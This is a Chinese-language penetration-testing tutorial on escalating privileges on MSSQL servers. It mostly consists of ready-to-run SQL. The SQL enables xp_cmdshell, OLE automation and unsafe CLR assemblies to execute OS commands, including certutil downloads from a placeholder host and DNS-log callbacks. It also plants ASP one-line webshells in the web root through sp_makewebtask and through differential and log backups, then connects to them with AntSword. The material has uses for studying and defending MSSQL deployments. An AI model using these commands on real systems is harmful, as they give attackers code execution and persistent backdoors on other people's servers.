MSSQL 提权

渗透测试 MSSQL 提权
12

xp_cmdshell 提权

xp_cmdshell是MSSQL服务器上的一个扩展存储过程，它允许用户在服务器上执行操作系统命令。

在MSSQL 2000版本中默认开启xp_cmdshell，MSSQL 2005以后默认关闭，但是拥有sa权限可用sp_configure开启。

  1. 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

或者

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
  1. 执行系统命令
EXEC master..xp_cmdshell 'whoami'
EXEC master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/'
EXEC master..xp_cmdshell 'nslookup xxx.dnslog.cn'
  1. 关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

sp_oacreate 提权

sp_oacreate是MSSQL服务器上的一个存储过程，它允许用户创建并实例化一个OLE Automation对象。

该提权方式无回显，如果遇到目标不出网，可将命令执行结果写入本地文件，然后使用Bulk insert将命令回显读取到数据库，最后通过Sql查询就可以获取到命令执行结果。

  1. 开启sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

图片-tpyz.png

  1. 执行系统命令（出网）
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c ping yziuus.dnslog.cn';

图片-ieaf.png

查看DNS，收到请求

图片-lqwh.png

  1. 执行系统命令（不出网）

目标服务器不出网时，可以将命令执行结果写入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami  > C:\\Windows\\Temp\\1.txt';

将命令执行结果导入表中

create table testa(line text);bulk insert testa from 'C:\\Windows\\Temp\\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');

最后查询表中的内容

select top 1 * from 数据库名..testa  FOR XML PATH('');

图片-omwy.png

CLR 提权

利用CLR组件我们可以在MSSQL数据库上执行任意C#代码。

  1. 开启 CLR
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
  1. 将数据库标记为安全
ALTER DATABASE [master] SET TRUSTWORTHY ON;
  1. 导入程序集
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 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WITH PERMISSION_SET = UNSAFE;
  1. 创建储存过程
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
  1. 执行系统命令
EXEC sp_cmdExec 'whoami';

图片-jqpq.png

sp_makewebtask 写 shell

适用于 Microsoft SQL Server 2000 或 Microsoft SQL Server 2005

该存储过程需要指定查询语句、返回文档类型、生成的文档标题和文档的输出文件路径等参数。

思路是创建一个表，将十六进制的Webshell插入表中，使用sp_makewebtask导出表中的数据到指定文件。

  1. 开启 Web Assistant Procedures
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE;

图片-ehzw.png

  1. 写入文件
create table cmd (a image);
insert into cmd(a) values(0x616263); -- #webshell的16进制
execute sp_makewebtask @outputfile='C:\inetpub\wwwroot\test.txt', @query='select a from cmd';
drop table cmd;
  1. 访问 test.txt 验证

图片-iyjz.png

  1. 可以使用一条语句写入
EXEC sp_makewebtask 'C:\inetpub\wwwroot\shell.asp','select''<%execute(request("zz"))%>'' '
  1. 使用蚁剑连接

图片-bgvy.png

差异备份写 shell

  1. 创建数据库，并进行一次完整备份
create database dbtest4;
backup database dbtest4 to disk = 'C:\inetpub\wwwroot\dbtest.asp';
  1. 创建表，并插入数据，16进制为一句话木马：<%execute(request("a"))%>
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
  1. 进行差异备份
backup database dbtest4 to disk='C:\inetpub\wwwroot\dbtest2.asp' WITH DIFFERENTIAL,FORMAT;
  1. 使用蚁剑连接

图片-mffe.png

LOG 备份写 shell

相较于差异备份，LOG备份体积更小，多次备份成功率高。

  1. 创建数据库，将数据库设置为完整模式，完整模式会记录所有操作日志，支持备份日志。
create database dbtest5;
alter database dbtest5 set RECOVERY FULL;
  1. 创建表，并进行一次备份
create table dbtest5..tmd (a image);
backup database dbtest5 to disk = 'C:\inetpub\wwwroot\dbtest3.asp';
  1. 插入一句话木马：<%execute(request("a"))%>，并进行LOG备份
insert into dbtest5..tmd (a) values (0x3C25657865637574652872657175657374282261222929253E);
backup log dbtest5 to disk = 'C:\inetpub\wwwroot\dbtest4.asp' with init;
  1. 使用蚁剑连接

图片-wbpu.png

xp_dirtree 妙用

xp_dirtree是SQL Server中的一个存储过程，用于列出文件和文件夹的目录结构。这个存储过程的存在可以被滥用来泄露服务器上的敏感信息，包括文件和文件夹路径、文件名和文件内容等。

列出目录“C:\”下的所有文件和文件夹

EXEC master..xp_dirtree 'c:',1,1

图片-hevy.png